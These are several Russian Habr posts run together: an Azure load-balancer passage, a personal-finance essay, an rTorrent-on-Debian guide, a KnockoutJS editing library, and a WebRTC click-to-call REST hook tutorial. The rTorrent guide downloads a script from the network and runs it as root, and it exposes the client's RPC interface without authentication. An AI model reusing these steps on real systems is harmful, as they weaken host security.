Сервис должен ответить с HTTP кодом 200, чтобы балансировщик считал его работоспособным. Любой другой код состояния выводит виртуальную машину из ротации.
Настройка тестирования также задает периодичность опросов. В нашем случае балансировщик опрашивает сервис каждые 15 секунд. Если ответ не был получен в течение 30 секунд (два интервала опроса), тест считается проваленным и виртуальная машина выводится из ротации. Аналогично, если виртуальная машина выведена из ротации, но от нее начал приходить положительный ответ, этот сервис сразу же возвращается в ротацию. Если сервис долго находится в режиме работает/не работает, балансировщик нагрузки может сам принять решение о задержке на ввод в ротацию до тех пор, пока тот не будет реагировать положительно на достаточное количество тестов.
Сервис FE также предоставляет набор прямых конечных точек, одна на каждый экземпляр, которая соединяется с экземпляром напрямую по указанному порту:
```
```
Определение выше устанавливает соединение по портам 10110, 10111 и т.д. и переводит его на порт 80 для всех виртуальных машин с FE ролями. Такая функция может быть использована в нескольких сценариях:
1. Предоставить доступ к заданному экземпляру и производить действия только с ним
2. Перенаправить пользовательское приложение на конкретный экземпляр после того, как тот прошел через балансированную конечную точку. Это может быть использовано для «липких» (sticky) сессий. Но стоит иметь в виду, что это может привести к перегрузке данного экземпляра.
Наконец, роль FE предоставляет внутреннюю конечную точку, которая может быть использована для взаимодействия между FE и BE:
```
```
Каждая роль может получать доступ к своим конечным точкам, а также к точкам, которые предоставляют другие роли, используя класс [RoleEnvironment](http://msdn.microsoft.com/en-us/library/microsoft.windowsazure.serviceruntime.roleenvironment.roles.aspx).
Роль BE также настроена как WorkerRole. Она не предоставляет никаких балансированных конечных точек, только внутренние точки, использующие http, tcp и udp:
```
```
Роль BE также дает прямую конечную точку, которая позволяет соединяться напрямую с экземпляром BE:
```
```
Определение выше устанавливает соединение по портам 10110, 10111 и т.д. и переводит его на порт 80 для всех виртуальных машин с BE ролями.
Мы надеемся, что пример выше покажет вам, как использовать различные возможности балансировщика нагрузки вместе при моделировании сервисов.
В следующих записях мы продемонстрируем данный пример в действии и покажем примеры исходных кодов. Также мы расскажем подробнее про:
1. Как работает SNAT
2. Кастомные тесты
3. Виртуальные сети
Также просьба присылать ваши запросы о том, что бы вы хотели узнать более подробно.
Marios Zikos для команды Microsoft Azure Networking. | https://habr.com/ru/post/218797/ | null | ru | null |
# Манименеджмент для гика: для чего их считать?
Привет, Хабр. Появилась внутренняя потребность вновь излить тебе душу. В этой серии публикаци речь пойдёт не про какое-то там унылое IT, а про учёт личных финансов. Но учёт не простой, а в достаточной мере гиковский. Давай под CUT, короче.
Для чего вообще считать деньги?
===============================
Вопрос, ответ на который, вроде бы должен быть очевидным. Но на самом деле, почти никто не может ответить на него адекватно. Все знают, что деньги считать нужно. (Мама так говорила) Но на самом деле, почти никто этого не делает. (Мама так же запрещала пить, курить и встречаться с распутными тян)
Попробуйте спросить своих знакомых: сколько денег они потратили в прошлом месяце на продукты питания/одежду/техническое обслуживание автомобиля? Точную цифру вам не назовёт никто (если вы не знакомы со мной, конечно). Даже более прозаичный вопрос: сколько денег ты потратил на отпуск этой весной? — скорее всего заставит вашего друга врать. Он назовёт вам какое-то число, но скорее всего там будет отражена только стоимость путёвки/бронь отеля. Про визу, аренду машины, покупку чемодана и купальных трусов он почти наверняка забудет.
Выяснив, что с учётом денег у нас и наших знакомых всё грустно, давайте определим понятие *денег*.
```
Деньги - это эквивалент труда. (c) Карл Маркс (трудовая теория стоимости)
```
Всё, что вы потребляете за деньги — это результат чьего-то труда. В стоимость чашки кофе заложен труд вьетнамских фермеров, которые выращивали кофе; труд китайских рабочих, собиравших трактор для трудолюбивого вьетнамского фермера; труд российских нефтянников, которые добыли нефть из которой сделана трудом солярка, которой вьетнамский фермер заправляет свой китайский трактор и так до бесконечности.
При этом, корова, например, не получает денежной компенсации за то, что из неё сделают бургер. Денежную компенсацию за свой труд получит трудолюбивый фермер (человек), который выращивал эту корову. Роботы на конвейере автопроизводителя, так же не получают никаких денежных компенсаций. Однако, деньги получают инженеры (люди), которые спроектировали этого робота и технический персонал (люди), который его обслуживает.
Итак, деньги = труд человека. Очевидно, что на труд человек затрачивается время. Время своей жизни. То есть, деньги = время жизни людей. Если человек в России в среднем трудится 40 лет за жизнь, при средней зарплате по стране в 40.000 ₽, то трудовую жизнь человека можно оценить в ~19 млн рублей (на 2018-й год).
(Отсюда можно сделать интересный вывод о том, что одому только полковнику Захарченко принадлежал эквивалент 473 человеческих жизней в рублях. Зенит-Арена стоила 2526 человеческих жизней. Космодром "Восточный" стоил 4421 человеческую жизнь. В распоряжении Билла Гейтса 252631 жизнь россиянина)
Итак, считать деньги стоит. Так как в деньгах выражено время нашей (трудовой) жизни. Жизнь конечна, и тратить её на ерунду не стоит. К деньгам применима та же формула.
Как считать?
============
Если эта заметка будет востребована аудиторией Хабра, в следующей статье из задуманной серии я расскажу о программах, которыми я пользуюсь для учёта финансов и анализа данных. Будет много кода на Java, Bash, Python и GnuPlot. | https://habr.com/ru/post/423623/ | null | ru | null |
# Установка и настройка rTorrent в Debian
[rTorrent](http://libtorrent.rakshasa.no/) — еще один из самых популярных torrent клинтов в мире Unix-подобных операционных систем (о [Transmission](http://www.transmissionbt.com/) я уже [написал](http://habrahabr.ru/blogs/p2p/87287/) несколько ранее). При создании этого клиента, по заявлению [автора](http://rakshasa.no/), во главе угла стояли «высокая производительность и хороший код», а использование [mmap](http://en.wikipedia.org/wiki/Mmap) для [отображения файлов в память](http://en.wikipedia.org/wiki/Memory-mapped_file) позволяет добиться на широкополосных каналах трехкратного преимущества перед [официальным клиентом](http://www.bittorrent.com/). Еще одной характерной чертой rTorrent является наличие множества различных web-интерфейсов «на все вкусы» для удаленного управления. Именно об установке и настройке всего этого я и хочу рассказать на этот раз.
#### Установка rTorrent
При установке [rTorrent](http://libtorrent.rakshasa.no/) я буду предполагать что все действия производятся в последней версии [Debian](http://www.debian.org/) (на момент написания статьи 2010-03-27 это Debian [Lenny](http://www.debian.org/releases/lenny/)). Часто, при использовании этой ОС люди выбирают либо стабильную ветку ропозиториев, либо тестовую и отличаются они версиями, содержащихся в них, пакетов. К сожалению, в стабильной ветке находится пакет rtorrent версии 0.7.9 в то время как новейшая версия уже достигла номера 0.8.6. В связи с этим, я расскажу об установке новейшей версии rTorrent отдельно для тестовой, и отдельно для стабильной веток репозиториев.
#### Установка rTorrent при стабильной ветке репозиториев Debian
В прошлый раз, при [описании установки](http://habrahabr.ru/blogs/p2p/87287/) новейшей версии [Transmission](http://www.transmissionbt.com/), я воспользовался компиляцией из исходиков что справедливо вызвало [бурю](http://habrahabr.ru/blogs/p2p/87287/#comment_2649100) [негодований](http://habrahabr.ru/blogs/p2p/87287/#comment_2639586) и [критики](http://habrahabr.ru/blogs/p2p/87287/#comment_2639631) :) В этот раз я покажу как добиться желаемого результата не прибегая к помощи компилятора.
Все что нам потребуется, так это подключить тестовую ветку репозиториев и установить из нее свежую версию пакета, но сделать это так, чтобы вся система в целом (за исключением нашего пакета) осталась на стабильной ветке. Выполнить эту задачу можно воспользовавшись механизмом «пиннинга» (не знаю как «pinning» благозвучно переводится на русский) подробнее о котором можно прочитать в официальной [документации](http://www.debian.org/doc/manuals/apt-howto/ch-apt-get.ru.html#s-pin) или, к примеру, вот [здесь](http://jaqque.sbih.org/kplug/apt-pinning.html).
Для этого, в файл `/etc/apt/sources.list` нужно добавить тестовые репозитории:
> `deb http://ftp.ua.debian.org/debian/ testing main
>
> deb http://security.debian.org/ testing/updates main`
Я добавлял украинское зеркало, вы же, выбирайте более подходящее вам в зависимости от географического положения или личных предпочтений ;)
Следующим шагом создадим файл `/etc/apt/preferences` и зададим в нем приоритеты для репозиториев таким образом, чтобы по-умолчанию выбирались пакеты из стабильной ветки:
> `Package: *
>
> Pin: release a=stable
>
> Pin-Priority: 700
>
>
>
> Package: *
>
> Pin: release a=testing
>
> Pin-Priority: 650`
Теперь нужно обновить список доступных пакетов:
`# aptitude update`
И выполнить установку последней доступной версии rTorrent:
`# aptitude -t testing install rtorrent`
где опцией "`-t`" мы явно задали использование тестового репозитория для установки данного пакета.
Далее переходим к настройке rTorrent.
#### Установка rTorrent при тестовой ветке репозиториев Debian
Если же у вас система изначально настроена на использование тестовой ветки репозиториев, то установка, в вашем случае, сводится всего к одной команде:
`# aptitude install rtorrent`
После этого можно переходить к настройке rTorrent.
#### Настройка rTorrent
Создаем файл с настройками `~/.rtorrent.rc` подобный этому:
> `# Диапазон рабочих портов torrent клиента.
>
> # Если вы за NAT не забываем "пробросить" порты
>
> port_range = 32001-32049
>
>
>
> # Включаем DHT
>
> dht = auto
>
> # UDP порт для DHT
>
> dht_port = 32000
>
> # Обмен пирами
>
> peer_exchange = yes
>
>
>
> # Использовать ли UDP трекеры
>
> use_udp_trackers = yes
>
>
>
> # Директория в которую по-умолчанию будут загружаться файлы
>
> directory = /arch/.Downloading/
>
>
>
> # Глобальные ограничения по скорости
>
> upload_rate = 80
>
> download_rate = 800
>
>
>
> # Директория для записи сессий rTorrent
>
> session = /home/username/.rtorrent_session
>
>
>
> # Задаем настройки для rpc управления
>
> scgi_port = 127.0.0.1:5000`
Создаем папку для хранения сессии rTorrent:
`$ mkdir .rtorrent_session`
Вообще же, я привел лишь базовые настройки rTorrent. Более подробно о настройках этого замечательного torrent клиента можно прочитать вот [тут](http://libtorrent.rakshasa.no/rtorrent/rtorrent.1.html), [тут](http://libtorrent.rakshasa.no/wiki/RTorrentCommonTasks) и [тут](http://libtorrent.rakshasa.no/browser/trunk/rtorrent/doc/rtorrent.rc#latest).
#### Настройка автозагрузки rTorrent
Для того, чтобы rTorrent автоматически запускался при старте машины нужно выполнить несколько несложных действий. Вначале, установим `screen`, необходимый для обеспечения работы torrent клиента в фоне:
`# aptitude install screen`
Затем загрузим стартовый скрипт:
`# cd /etc/init.d/`
`# wget http://libtorrent.rakshasa.no/raw-attachment/wiki/RTorrentCommonTasks/rtorrentInit.sh`
Редактируем файл и указываем имя пользователя от которого будет запускаться rTorrent:
> `user="user"`
Делаем файл исполняемым:
`# chmod +x rtorrentInit.sh`
Задаем владельцем файла системного пользователя root:
`# chown root:root rtorrentInit.sh`
Включаем «автозагрузку»:
`# update-rc.d rtorrentInit.sh defaults`
Все, теперь демон можно запустить выполнив вот такую команду:
`# /etc/init.d/rtorrentInit.sh start`
Теперь, во время каждой загрузки машины, будет автоматически запускаться и наш torrent клиент.
#### web-интерфейсы
Для работы web-интерфейсов, как вы уже наверняка догадались, требуется web-сервер. Это может быть как [Apache](http://www.apache.org/), так и [Lighttpd](http://www.lighttpd.net/), а, вполне вероятно, и какой-либо другой. Однако, для определенности, я буду рассматривать все примеры на базе Apache. Если у вас не установлен web-сервер, то следующий пункт для вас, иначе же — вы волны его просто пролистать.
#### Установка Apache
Для установки Apache необходимо выполнить несколько простых команд. Начнем с установки самого web-сервера и необходимого для удаленного управления rTorrent модуля `scgi`:
`# aptitude install apache2 libapache2-mod-scgi`
Задаем настройки модуля в файле `/etc/apache2/httpd.conf`:
> `SCGIMount /RPC2 127.0.0.1:5000`
и включаем его:
`# a2enmod scgi`
Далее, устанавливаем PHP:
`# aptitude install php5 php5-common libapache2-mod-php5 php5-curl`
и перезагружаем Apache:
`# apache2ctl restart`
После установки Apache переходим к рассмотрению различных web-интерфейсов к rTorrent.
#### wTorrent
Для своей работы [wTorrent](http://www.wtorrent-project.org/trac/) требует базу данных `sqlite`. Установим ее:
`# aptitude install sqlite3 php5-sqlite
# apache2ctl restart`
Теперь загружаем непосредственно сам wTorrent:
# cd /var/www/
# svn co svn://wtorrent-project.org/repos/trunk/wtorrent/
Задаем права доступа для web-сервера:
`# chown -R www-data:www-data ./wtorrent/`
Далее направляем браузер по адресу `http://<ваш IP адрес>/wtorrent/install.php` и настраиваем аналогично этому скриншоту:
[](https://habrastorage.org/getpro/habr/post_images/583/9dd/8a3/5839dd8a33ad978b71cb77f5f643ba80.png)
([Кликни для увеличения](https://habrastorage.org/getpro/habr/post_images/583/9dd/8a3/5839dd8a33ad978b71cb77f5f643ba80.png))
Обязательно, в целях безопасности, удаляем файл `install.php`:
`# rm wtorrent/install.php`
А теперь можно и оценить результат перейдя по адресу `http://<ваш IP адрес>/wtorrent/`:
[](https://habrastorage.org/getpro/habr/post_images/1d3/d58/b67/1d3d58b6771951a34080f30b5db9e296.png)
([Кликни для увеличения](https://habrastorage.org/getpro/habr/post_images/1d3/d58/b67/1d3d58b6771951a34080f30b5db9e296.png))
#### ruTorrent
Для настройки [ruTorrent](http://code.google.com/p/rutorrent/) скачаем последнюю версию из SVN:
`# cd /var/www/
# svn checkout http://rutorrent.googlecode.com/svn/trunk/rutorrent`
И зададим права доступа для web-сервера:
`# chown -R www-data:www-data ./rutorrent/`
Теперь чтобы открыть только что установленный ruTorrent нужно направить браузер по адресу `http://<ваш IP адрес>/rutorrent/`. И вот как он выглядит:
[](https://habrastorage.org/getpro/habr/post_images/85a/16d/060/85a16d0600f043ca272167c4ca2949c8.png)
([Кликни для увеличения](https://habrastorage.org/getpro/habr/post_images/85a/16d/060/85a16d0600f043ca272167c4ca2949c8.png))
[](https://habrastorage.org/getpro/habr/post_images/f25/120/a34/f25120a34fe526160df224ab4efd3874.png)
([Кликни для увеличения](https://habrastorage.org/getpro/habr/post_images/f25/120/a34/f25120a34fe526160df224ab4efd3874.png))
Так же не могу не отметить что под ruTorrent существует множество полезных плагинов заметно расширяющих стандартные возможности. Так, с помощью плагинов можно реализовать [обработку RSS лент](http://code.google.com/p/rutorrent/wiki/PluginRSS?wl=ru), [учет трафика](http://code.google.com/p/rutorrent/wiki/PluginTrafic?wl=ru), [ограничение скоростей по расписанию](http://code.google.com/p/rutorrent/wiki/PluginScheduler?wl=ru) и многое другое. Полный список плагинов находится [здесь](http://code.google.com/p/rutorrent/wiki/Plugins?wl=ru). Я же покажу процесс установки плагина на примере [Tracklabels](http://code.google.com/p/rutorrent/wiki/PluginTracklabels?wl=ru) который будет автоматически добавлять метки в зависимости от трекера закачки.
`# cd /var/www/rutorrent/plugins/
# svn checkout rutorrent.googlecode.com/svn/trunk/plugins/tracklabels
# chown -R www-data:www-data /var/www/rutorrent/plugins/`
При этом все остальные плагины добавляются аналогично. А посмотреть на результат установки плагина можно сразу же после обновления странички в браузере:
[](https://habrastorage.org/getpro/habr/post_images/dbb/202/e13/dbb202e13a467d2f7a1d75c70012790b.png)
([Кликни для увеличения](https://habrastorage.org/getpro/habr/post_images/dbb/202/e13/dbb202e13a467d2f7a1d75c70012790b.png))
И еще одной, ну просто восхитительной, задумкой блеснул ruTorrent. А именно, в нем появляются зачатки многопользовательской работы где каждому человеку привязан свой экземпляр torrent клиента со своими собственными, ни от чего не зависящими настройками и ограничениями (к примеру по скорости). Более детально об этом можно прочитать по следующей ссылке:
[forums.rutorrent.org/index.php?topic=87.0](http://forums.rutorrent.org/index.php?topic=87.0)
#### Другие web-интерфейсы и программы для удаленного управления
На описанных мною web-интерфейсах список вовсе не заканчивается. Их не так уж и мало создано и разрабатывается. Список самых популярных можно посмотреть на официальном сайте rTorretn'а: [libtorrent.rakshasa.no/wiki/UtilsList](http://libtorrent.rakshasa.no/wiki/UtilsList)
#### И снова об автоматизации загрузок
Не забываю снова и снова напомнишь о такой удобной штуке как автоматизация загрузок ваших любимых сериалов с RSS лент различных трекеров. И несмотря на то что описанные выше web-интерфейсы имеют либо встроенные средства для обработки RSS лент (wTorrent), либо расширяются соответствующими плагинами (ruTorrent) этих средств, к сожалению, не всегда хватает. Более детально ниже:
* Я уже как-то писал на эту тему вот [тут](http://habrahabr.ru/blogs/p2p/87042/) (на примере [LostFilm](http://www.lostfilm.tv/)'a) и вот [тут](http://habrahabr.ru/blogs/p2p/87166/) (на примере [Кинозала](http://kinozal.tv/)). Оба решения реализованы в виде shell команд и основаны на `grep`, `wget`, `curl`;
* Кроме того, еще один способ автоматизации с помощью [FlexGet](http://flexget.com/) описывал [Alukar](https://habrahabr.ru/users/alukar/) вот [тут](http://habrahabr.ru/blogs/linux/83367/);
* И еще один вариант обработки RSS лент с помощью [Yahoo Pipes](http://pipes.yahoo.com/pipes/) рассмотрен хаброчеловеком [AmoN](https://habrahabr.ru/users/amon/) вот в [этом](http://habrahabr.ru/blogs/p2p/87757/) посте.
Так же помощниками в этом вопросе могут стать следующие два замечательных сервиса, уже описанные на Хабре: [tvfёdor](http://habrahabr.ru/blogs/i_am_advertising/88751/) и [Kinobaza.tv](http://habrahabr.ru/blogs/i_am_advertising/88171/).
#### Тюнинг rTorrent при больших нагрузках
Про более тонкие настройки rTorrent при больших нагрузках можно прочитать как на [официальном сайте](http://libtorrent.rakshasa.no/wiki/RTorrentPerformanceTuning), так и в комментариях пользователей:
* [Совет](http://habrahabr.ru/blogs/p2p/88405/#comment_2675689) по использованию памяти от [WoZ](https://habrahabr.ru/users/woz/)
%username%, а как ты протюнил свой rTorrent конфиг?
**UPD**. Добавил раздел про тюнинг rTorrent при больших нагрузках. | https://habr.com/ru/post/88405/ | null | ru | null |
# KnockoutJS: сказ о том, как легко принимать или отклонять изменения
Довольно часто в пользовательском интерфейсе есть кнопки «Сохранить» и «Отмена». Особенно часто эти кнопки используются в формах. Несмотря на то, что в современном мире всё идёт к упрощению интерфейса, но на эти кнопки всё равно есть спрос.
Сегодня я предлагаю разобраться как с помощью KnockoutJS принимать и откатывать изменения для индивидуальных observables так и целых view models.
Знакомые с KnockoutJS сразу могут выдать две ссылки на лучший блог о сабже
* [Creating smart dirty flag in KnockoutKS](http://www.knockmeout.net/2011/05/creating-smart-dirty-flag-in-knockoutjs.html)
* [Guard your model accept or cancel edits](http://www.knockmeout.net/2011/03/guard-your-model-accept-or-cancel-edits.html)
У этих методов есть как плюсы, так и вполне существенные недостатки, от которых нужно избавлятся. Недостатки с функциональной точки зрения
* Dirty flag — не позволяет сохранять изменения, а только сбросить их в начальное состояние.
* protectedObservable — никто не видит изменений observable до тех пор, пока не произойдёт commit. Это ограничение сильно удручает при использовании dependent observables, к примеру.
Ну и к тому же, они нацелены на индивидуальные observable'ы, а хотелось бы работать с несколькими полями сразу.
Под катом детально разберём процесс создания простого механизма, который сделает работу с принятием и отменой изменений простой и прозрачной.
Первое, что мне приходит в голову, когда речь заходит о принятии или отмене изменений — это транзакции и их реализация в СУБД. Перед изменением надо сделать begin transaction, а потом commit или rollback. Всё просто и понятно.
Ничто не мешает нам сделать аналог этих методов у observables. Можно поступить просто, и выдумать свой `ko.transactionableObservable` по аналогии с примерами из начала статьи.
```
ko.transactionableObservable = function(initialValue) {
var result = ko.observable(initialValue);
result.beginTransaction = function() { ... };
result.commit = function() { ... };
result.rollback = function() { ... };
return result;
}
var name = ko.transactionableObservable('habrauser');
```
Но мне этот подход решительно не нравится. Как видим, результатом будет обычный observable. А как нам быть, если мы хотим принимать/отменять изменения observableArray или writeable dependentObservable?
На помощь нам приходят [extenders](http://knockoutjs.com/documentation/extenders.html), которые появились во второй версии Нокаута.
Extender позволяет очень элегантным образом изменять или дополнять поведение любых видов observables. Наш код должен выглядеть так:
```
var name = ko.observable('habrauser').extend({editable: true});
```
Реализовывать extender'ы до безобразия просто:
`ko.extenders['myExtender'] = function(observavle, params){}`
Идея мне кажется стоящей, по этому сделаем простенькую реализацию нашего extender'а
```
ko.extenders['editable'] = function (target) {
var oldValue;
var inTransaction = false;
target.beginEdit = function () {
var currentValue = target();
if (currentValue instanceof Array) {
currentValue = currentValue.slice(); // make copy
}
oldValue = currentValue;
inTransaction = true;
};
target.commit = function () {
inTransaction = false;
};
target.rollback = function () {
if (inTransaction) {
target(oldValue);
inTransaction = false;
}
};
return target;
};
```
Я думаю, что переводить код на русский язык особого смысла нет. Единственный нюанс — это работа с массивами.
Если внутри observable находится массив, мы не можем просто «запомнить» это значение. Так как это ссылочный тип данных, то нам надо запомнить копию массива, а не ссылку на него. И да, екстендить имеет смысл только observables содержащие не-ссылочные типы данных. Позже мы поборем эту проблему.
Пример использования:
```
var name = ko.observable().extend({editable: true});
var nameLength = ko.dependentObservable(function() {
return name() ? name().length : 0;
});
name('user'); // name set to 'user'
name.beginEdit(); // begin transaciton
name('me'); // name set to 'me', nameLength was recalculated
nameLength(); // gives us 2
name.commit(); // transaction commited; values are unchanged since last edit; we could start another one
name.rollback(); // nothing happens since transation is commited
name.beginEdit(); // begin another transaction
name('someone'); // name set to 'someone', nameLength was recalculated
name.rollback(); // rollback transaction; name set to initial value 'me', nameLength recalculated
name(); // returns 'me'
```
Ещё было бы отлично иметь флаг, наличия изменения. Принцип простой:
```
target.hasChanges = ko.dependedObservable(function () {
var hasChanges = inTransaction && oldValue != target();
return hasChanges;
});
```
На выход должны получать true, только когда есть открытая транзакция и текущее знаечение отличается от начального на момент старта транзакции. Вспоминаем, что knockout пересчитывает значение, dependentObservable'а при изменении любого из observable'ов, которые в нём используются.
В текущей реализации возвращатся всегда будет false. А причина этому очень проста: при первом выполнении (т.е. сразу после объявления) inTransaction == false, а значит вторая проверка оператора AND даже не выполнится. Сие значит, что dependendObservable не будет пересчитан никогда. Пофиксить это достаточно просто. Делаем переменную `inTransaction` «наблюдаемой».
Таким образом значение будет пересчитано при входа/выходе из транзакции и при изменении оригинального observable'а. Это то, что надо!
```
ko.extenders['editable'] = function (target) {
var oldValue;
var inTransaction = ko.observable(false);
target.beginEdit = function () {
var currentValue = target();
if (currentValue instanceof Array) {
currentValue = currentValue.slice(); // make copy
}
oldValue = currentValue;
inTransaction(true);
};
target.commit = function () {
inTransaction(false);
};
target.rollback = function () {
if (inTransaction()) {
target(oldValue);
}
};
target.hasChanges = deferredDependentObservable(function () {
var hasChanges = inTransaction() && oldValue != target();
return hasChanges;
});
return target;
};
```
Как по мне, мы получили вполне добротную реализацию для одного поля. А как же быть, когда полей у нас десяток. Перед редактированием каждому полю нужно сделать beginEdit(), а потом commit/rollback. Повеситься можно.
Благодаря тому, что мы используем extender'ы в нашей реализации, мы можем расширять необходимые поля после их объявления и не переживать, что наши dependentObservables от этих полей поломаются. А это значит, что мы можем делать это вполне автоматически.
Выражу свою мысль более приземлённо:
```
var user = {
firstName : ko.observable('habrauser'),
lastName: ko.observable('sapiens')
};
user.fullName = ko.dependentObservable(function() {
return user.firstName() + ' ' + user.lastName();
});
ko.editable(user);
user.beginEdit();
user.firstName('homo');
user.fullName(); // 'homo sapiens'
user.hasChanges(); // true
user.commit();
```
Если в начале статьи, мы делали конкретный observable транзакционным, то теперь мы делаем произвольный объект транзакционным. По большому счёту, это реализуется достаточно просто:
```
ko.editable = function (viewModel, autoInit) {
var editables = ko.observableArray();
(function makeEditable(rootObject) {
for (var propertyName in rootObject) {
var property = rootObject[propertyName];
if (ko.isWriteableObservable(property)) {
var observable = property;
observable.extend({ editable: true });
editables.push(observable);
}
property = ko.utils.unwrapObservable(property);
if (typeof (property) == 'object') {
makeEditable(property);
}
}
})(viewModel);
viewModel.beginEdit = function () {
ko.utils.arrayForEach(editables(), function (obj) {
obj.beginEdit();
});
};
viewModel.commit = function () {
ko.utils.arrayForEach(editables(), function (obj) {
obj.commit();
});
};
viewModel.rollback = function () {
ko.utils.arrayForEach(editables(), function (obj) {
obj.rollback();
});
};
viewModel.addEditable = function (editable) {
editables.push(editable.extend({ editable: true }));
};
viewModel.hasChanges = deferredDependentObservable(function () {
var editableWithChanges = ko.utils.arrayFirst(editables(), function (editable) {
return editable.hasChanges();
});
return editableWithChanges != null;
});
};
```
Внимания заслуживает только начало. Мы обходим все свойства объекта, если свойство является writeableObservable (а ведь только такие могут быть транзакционными, если призадуматься), то мы его расширяем с помощью нашего extender'а. Далее по коду, если в поле лежит объект (а массив это тоже объект), то мы проходимся по его полям тоже.
И простенький пример использования:
```
var user = {
FirstName: ko.observable('Some'),
LastName: ko.observable('Person'),
Address: {
Country: ko.observable('USA'),
City: ko.observable('Washington')
}
};
ko.editable(user);
user.beginEdit();
user.FirstName('MyName');
user.hasChanges(); // returns `true`
user.commit();
user.hasChanges(); // returns `false`
user.Address.Country('Ukraine');
user.hasChanges(); // returns `true`
user.rollback();
user.Address.Country(); // returns 'USA'
```
В результате наших изысканий мы получили вполне готовый для продакшн использования код, который я разместил на GitHub'е и назвал ko.editables: [github.com/romanych/ko.editables](https://github.com/romanych/ko.editables)
Также есть примеры [простенького](http://romanych.github.com/ko.editables/basic-sample.html) использования и [чуть посложнее](http://romanych.github.com/ko.editables/advanced-sample.html).
Спасибо всем, кто дочитал до конца. Надеюсь код пригодится. | https://habr.com/ru/post/136782/ | null | ru | null |
# REST hooks для WebRTC Click to Call. Опыт внедрения
Кнопка "Click to Call" на сайте — это "инновация", которой уже около 10 лет. Технологии под капотом изменились, а принцип остался прежним - кликаем по кнопке на странице сайта, запускается JavaScript, который запрашивает доступ к микрофону и устанавливает соединение с сервером — WebRTC SIP шлюзом. Далее одна клиент-серверная нога — это браузер-шлюз, вторая нога может быть сколь угодно длинной и через цепочку SIP proxy может соединяться в конечном счете с мобильным или стационарным телефоном. Таким образом, браузер превращается, в каком-то смысле, в софтфон и становится полноправным участником VoIP телефонии.
Звонок в один клик очень удобен для пользователей, которые заходят на сайт через мобильные браузеры, а таких, на сегодняшний день, большинство. Кроме удобства для клиентов, еще есть возможность сэкономить. Можно настроить так, что звонок с кнопки "Click to Call" будет тарифицироваться, как звонок внутри вашей АТС, т.е. в большинстве случаев бесплатно. Экономия, по сравнению с подключением и ежемесячным обслуживанием номера 8-800, достаточно большая.
У нас на сайте есть [минимальный пример внедрения](https://flashphoner.com/onlajn-zvonok-s-sajta-na-mobilnye-telefony-i-sip-funkciya-click-to-call/?lang=ru) такой кнопки. В примере все хорошо - код простой, бери, копируй и радуйся. Но есть одно НО! Передавать параметры подключения к SIP серверу в JS коде небезопасно, злоумышленник легко может подменить номер вызываемого абонента или использовать учетные данные вашего SIP сервера, чтобы звонить пингвинам в Антарктиду и пересказывать им "Войну и Мир". И тогда прибыль от размещения на сайте кнопки "Click to call" может превратиться в огромные убытки.
Поэтому для Production реализации мы рекомендуем хранить параметры подключения на стороне сервера и подставлять их при инициализации звонка. Для этого можно использовать REST Hook скрипты.
### Крючки? Какие такие крючки?
REST Hook — это простые скрипты, которые работают с JSON в теле HTTP-запроса и отдают JSON в теле HTTP ответов. Скрипты REST Hook подменяют собой стандартные приложения WCS API и позволяют обрабатывать данные о коннектах, звонках и видеопотоках на бэкенд сервере.
REST Hook могут быть использованы для следующих целей:
* Аутентификация коннектов к серверу по токену или по паролю
* Получение в реальном времени информации о коннектах, дисконнектах, начале и завершении потоков, звонков, и т.д.
* Переопределение данных, переданных с клиента. Например, можно переопределить и скрыть реальное имя потока или направление звонка.
* Реализация кастомного сигналинга с передачей данных через WebSockets, например рассылка текстового сообщения в чате всем подключенным клиентам.
В этой статье рассмотрим, как можно безопасно передать учетные данные SIP сервера и номер вызываемого абонента для кнопки "Click to Call" с использованием технологии REST Hook.
### Что нужно для работы?
0. Фронтенд Web сервер — организует интерфейс с пользователем. Отображает web страницу с кнопкой "Click to Call".
1. WCS — посредник между пользователем и SIP сервером. Конвертирует WebRTC поток от браузера в SIP формат.
2. Бэкенд сервер — Web сервер, который обеспечивает работу REST Hook.
3. SIP сервер и SIP телефон.
Логически мы разделяем фронтенд, бэкенд и WCS серверы, но физически их можно разместить на одной машине. В этой статье, для упрощения разбора примера, мы используем три отдельные виртуальные машины.
### Что делать и как настраивать?
Начнем настройку с бэкенд сервера.
Устанавливаем и конфигурируем Nginx и PHP, например [Nginx на CentOS 7](https://www.digitalocean.com/community/tutorials/how-to-install-configure-lemp-stack-software-collections-centos-7-ru).
После чего, в файле /etc/nginx/nginx.conf в секции «server» добавляем следующие строки. Эта настройка обеспечит доступность нашего REST Hook скрипта для событий "/connect" и "/call":
```
location / {
try_files $uri $uri/ /index.php?$request_uri;
}
```
В каталоге для файлов web сервера (у нас /var/www ) создаем файл «index.php», в нем размещаем основной код создаваемого REST Hook. Этот скрипт будет реализовывать проверку доступа по домену и передавать параметры подключения к SIP серверу и номер вызываемого абонента:
```
php
$api_method = array_pop(explode("/", $_SERVER['REQUEST_URI']));
$incoming_data = json_decode(file_get_contents('php://input'), true);
$domain = "yourdomain.com";
switch($api_method) {
case"connect":
$origin = $incoming_data['origin'];
//logs
error_log("sessionId: " . $incoming_data['sessionId']);
error_log("origin: " . $origin);
$found = strpos($origin, $domain);
if ($found !== false){
error_log("User authorized by domain " . $domain);
}else{
error_log("User not authorized by domain: " . $domain . " Connection failed with 403 status.");
ubnormalResponse(403);
}
$rest_client_config = json_decode(file_get_contents('rest_client_config.json'), true);
$incoming_data['restClientConfig'] = $rest_client_config;
$incoming_data['sipLogin'] = "10001";
$incoming_data['sipAuthenticationName'] = "10001";
$incoming_data['sipPassword'] = "Password_123";
$incoming_data['sipDomain'] = "172.16.30.156";
$incoming_data['sipOutboundProxy'] = "172.16.30.156";
$incoming_data['sipPort'] = "5060";
break;
case "call":
// Callee Number
$incoming_data['callee'] = "10002";
break;
}
header('Content-Type: application/json');
echo json_encode($incoming_data);
function ubnormalResponse($code) {
if ($code == 403) {
header('HTTP/1.1 403 Forbidden', true, $code);
} else {
header(':', true, $code);
}
die();
}
?
```
В том же каталоге /var/www создаем файл «rest\_client\_config.json». Исходный код можно найти в конце [этой страницы](https://docs.flashphoner.com/pages/viewpage.action?pageId=9241817).
В файле «rest\_client\_config.json» правим секцию «call» . Здесь указываем политику REST метода - перезаписывать данные и какое значение будет перезаписано с помощью скрипта:
```
"call" : {
"clientExclude" : "",
"restExclude" : "",
"restOnError" : "LOG",
"restPolicy" : "OVERWRITE",
"restOverwrite" : "callee"
},
```
